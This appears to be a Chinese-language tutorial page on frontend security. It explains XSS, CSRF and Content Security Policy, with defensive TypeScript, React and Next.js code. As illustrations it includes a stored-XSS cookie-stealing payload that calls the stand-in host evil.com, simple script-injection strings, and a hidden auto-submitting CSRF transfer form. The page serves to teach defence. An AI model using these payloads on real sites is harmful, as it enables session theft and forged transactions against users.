FRONTEND SECURITY

前端防御 全景解析

从 XSS 到 CSRF,从 CSP 到零信任——用场景化的方式理解每一种攻击向量与防御策略, 让安全不再是后端的专属话题。

⚡ 三大威胁全景图

XSS

跨站脚本攻击

攻击者注入恶意脚本到网页,在用户浏览器中执行

窃取 Cookie / 会话劫持 / 键盘记录

CSRF

跨站请求伪造

利用用户已登录的身份,伪造请求执行非预期操作

转账 / 修改密码 / 删除数据

CSP

内容安全策略

浏览器安全机制,限制页面可加载的资源来源

主动防御层 / 减小攻击面

XSS 攻击

CROSS-SITE SCRIPTING

场景:评论区陷阱

1

攻击者发帖

在评论区提交包含恶意脚本的内容

<script>fetch("https://evil.com/steal?c="+document.cookie)</script>
2

服务端存储

恶意内容未经转义直接存入数据库(存储型 XSS)

INSERT INTO comments (body) VALUES ("<script>...")
3

用户浏览

正常用户访问页面,脚本在浏览器中自动执行

innerHTML = comment.body // 💀 直接渲染
4

数据泄露

Cookie、Token 被发送到攻击者服务器

→ evil.com/steal?c=session=abc123...

存储型 XSS

STORED

🎯 攻击者将恶意脚本存入服务器(评论/帖子/个人资料)

💥 所有访问该页面的用户都会中招

🔴 严重

反射型 XSS

REFLECTED

🎯 恶意代码在 URL 参数中,服务端"反射"到页面响应

💥 需要诱骗用户点击恶意链接,典型: "?search=<script>"

🟡 中等

DOM 型 XSS

DOM-BASED

🎯 前端 JS 直接操作 DOM 时未过滤用户输入

💥 不经过服务器,纯前端漏洞,难以被 WAF 检测

🟠 较高

✅ XSS 防御代码实战

HTML 转义函数
function escapeHtml(str: string): string {
  const map: Record<string, string> = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#39;',
  };
  return str.replace(
    /[&<>"']/g,
    (c) => map[c]
  );
}
React 安全渲染
// ✅ React 默认安全 — 自动转义
<p>{userInput}</p>

// ❌ 危险!直接插入 HTML
<div dangerouslySetInnerHTML={{
  __html: userInput  // 💀 XSS!
}} />

// ✅ 必须先用 DOMPurify 消毒
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{
  __html: DOMPurify.sanitize(userInput)
}} />

输出编码

必须

输入验证

必须

HttpOnly Cookie

推荐

CSP 策略

推荐

CSRF 攻击

CROSS-SITE REQUEST FORGERY

场景:银行转账陷阱

受害者

已登录银行网站

恶意网站

藏有伪造请求

银行服务器

无法区分请求来源

恶意网站中隐藏的表单
<!-- 恶意网站中的隐藏表单 -->
<form action="https://bank.com/transfer"
      method="POST"
      id="csrf-form">
  <input type="hidden"
         name="to" value="attacker" />
  <input type="hidden"
         name="amount" value="99999" />
</form>

<!-- 页面加载后自动提交 -->
<script>
  document.getElementById('csrf-form')
    .submit();
</script>

为什么能成功?

浏览器会自动携带目标域的 Cookie!银行服务器收到请求后,看到有合法的 Session Cookie, 就认为这是用户本人的操作。Cookie 无法区分"用户意愿"还是"自动提交"

关键前提条件

  • • 用户已在目标网站登录(有有效 Session)
  • • 目标网站仅依赖 Cookie 进行身份验证
  • • 操作可通过简单的 HTTP 请求完成

✅ CSRF 防御方案

CSRF Token

最常用

服务端生成随机 Token,嵌入表单/请求头。攻击者无法获取该 Token。

<input type="hidden"
  name="_csrf"
  value="a8b3c9d..." />

SameSite Cookie

推荐

设置 Cookie 的 SameSite 属性,阻止跨站携带 Cookie。

Set-Cookie: session=abc;
  SameSite=Strict;
  Secure; HttpOnly

双重验证

高安全

敏感操作(转账/改密码)要求二次确认,如短信验证码、密码确认。

// 前端拦截 → 弹窗确认
const ok = await
  showConfirmDialog();

CSP 策略

CONTENT SECURITY POLICY

什么是 CSP?

Content Security Policy 是一个 HTTP 响应头,告诉浏览器只允许加载和执行哪些来源的资源。 它是 XSS 攻击的最后一道防线——即使攻击者注入了脚本,浏览器也会拒绝执行。

🛡️ CSP 如何阻止 XSS

1攻击者注入 <script>alert(1)</script>
2浏览器检查 CSP:inline script 是否被允许?
3CSP 策略: script-src 'self' — 禁止内联脚本!
4🚫 浏览器拒绝执行,控制台报错
CSP 头部配置示例
// Next.js middleware / server headers
Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-{random}';
  style-src 'self' 'unsafe-inline';
  img-src 'self' https://cdn.example.com;
  font-src 'self' https://fonts.gstatic.com;
  connect-src 'self' https://api.example.com;
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self';

📋 常用指令速查

script-src控制 JS 来源
style-src控制 CSS 来源
img-src控制图片来源
connect-src控制 fetch/XHR
font-src控制字体来源
frame-ancestors控制 iframe 嵌入
base-uri限制 <base> 标签
form-action限制表单提交目标

🔑 关键字说明

'self'同源资源
'none'禁止任何资源
'unsafe-inline'允许内联代码
'unsafe-eval'允许 eval()
'nonce-{val}'白名单随机数
'sha256-{hash}'哈希白名单

更多防御策略

ADDITIONAL SECURITY LAYERS

Cookie 安全属性

HttpOnlyJS 无法读取,防 XSS 窃取
Secure仅通过 HTTPS 传输
SameSite限制跨站携带,防 CSRF
__Host-必须 Secure + 同源

HTTP 安全响应头

X-Content-Type-Options

nosniff禁止 MIME 嗅探

X-Frame-Options

DENY禁止 iframe 嵌入

X-XSS-Protection

0禁用旧版 XSS 过滤

Referrer-Policy

strict-origin限制 Referer 信息

Permissions-Policy

camera=()禁用浏览器 API

SRI & CORS

🔐 子资源完整性 (SRI)

通过哈希校验外部资源是否被篡改

<script src="..." integrity="sha384-..." crossorigin>

🌐 CORS 跨域策略

严格限制 Access-Control-Allow-Origin,避免使用 * 通配符

Access-Control-Allow-Origin: https://myapp.com

📊 防御策略速查对比

XSS 防御清单
HTML 输出转义必须
DOMPurify 消毒必须
避免 innerHTML必须
HttpOnly Cookie强烈推荐
CSP script-src强烈推荐
输入长度限制推荐
CSRF 防御清单
CSRF Token 验证必须
SameSite Cookie必须
验证 Origin/Referer推荐
敏感操作二次确认强烈推荐
关键请求加验证码推荐
避免 GET 改状态必须
CSP 配置清单
default-src 'self'必须
script-src + nonce强烈推荐
禁止 unsafe-inline强烈推荐
禁止 unsafe-eval强烈推荐
frame-ancestors 'none'推荐
report-uri 上报违规推荐

⚛️ Next.js 项目安全实践

middleware.ts — 安全响应头
// middleware.ts
import { NextResponse } from 'next/server';

export function middleware(request) {
  const nonce = crypto.randomUUID();
  const response = NextResponse.next();

  response.headers.set(
    'Content-Security-Policy',
    `default-src 'self';
     script-src 'self' 'nonce-${nonce}';
     style-src 'self' 'unsafe-inline';
     img-src 'self' https://cdn.example.com;
     connect-src 'self' https://api.myapp.com;
     frame-ancestors 'none';`
  );

  response.headers.set(
    'X-Content-Type-Options', 'nosniff'
  );
  response.headers.set(
    'X-Frame-Options', 'DENY'
  );
  response.headers.set(
    'Referrer-Policy', 'strict-origin'
  );

  return response;
}
Server Action — CSRF 防护
// app/actions/transfer.ts
'use server';

import { auth } from '@/lib/auth';
import { z } from 'zod';

const schema = z.object({
  to: z.string().min(1).max(50),
  amount: z.number().positive().max(10000),
});

export async function transfer(formData) {
  // 1. 验证身份
  const user = await auth();
  if (!user) throw new Error('Unauthorized');

  // 2. 输入验证 (防注入)
  const data = schema.parse({
    to: formData.get('to'),
    amount: Number(formData.get('amount')),
  });

  // 3. 业务逻辑
  // Next.js Server Actions 内置
  // CSRF 保护(同源验证)
  await db.transfer({
    from: user.id,
    to: data.to,
    amount: data.amount,
  });
}
React 自动转义 JSX
Server Actions 同源校验
next.config.js 安全头
env 变量永不暴露客户端

安全的核心原则

1永远不要信任客户端输入
2纵深防御:多层安全机制叠加
3最小权限原则:只开放必要的能力
4安全是持续的过程,不是一次性的配置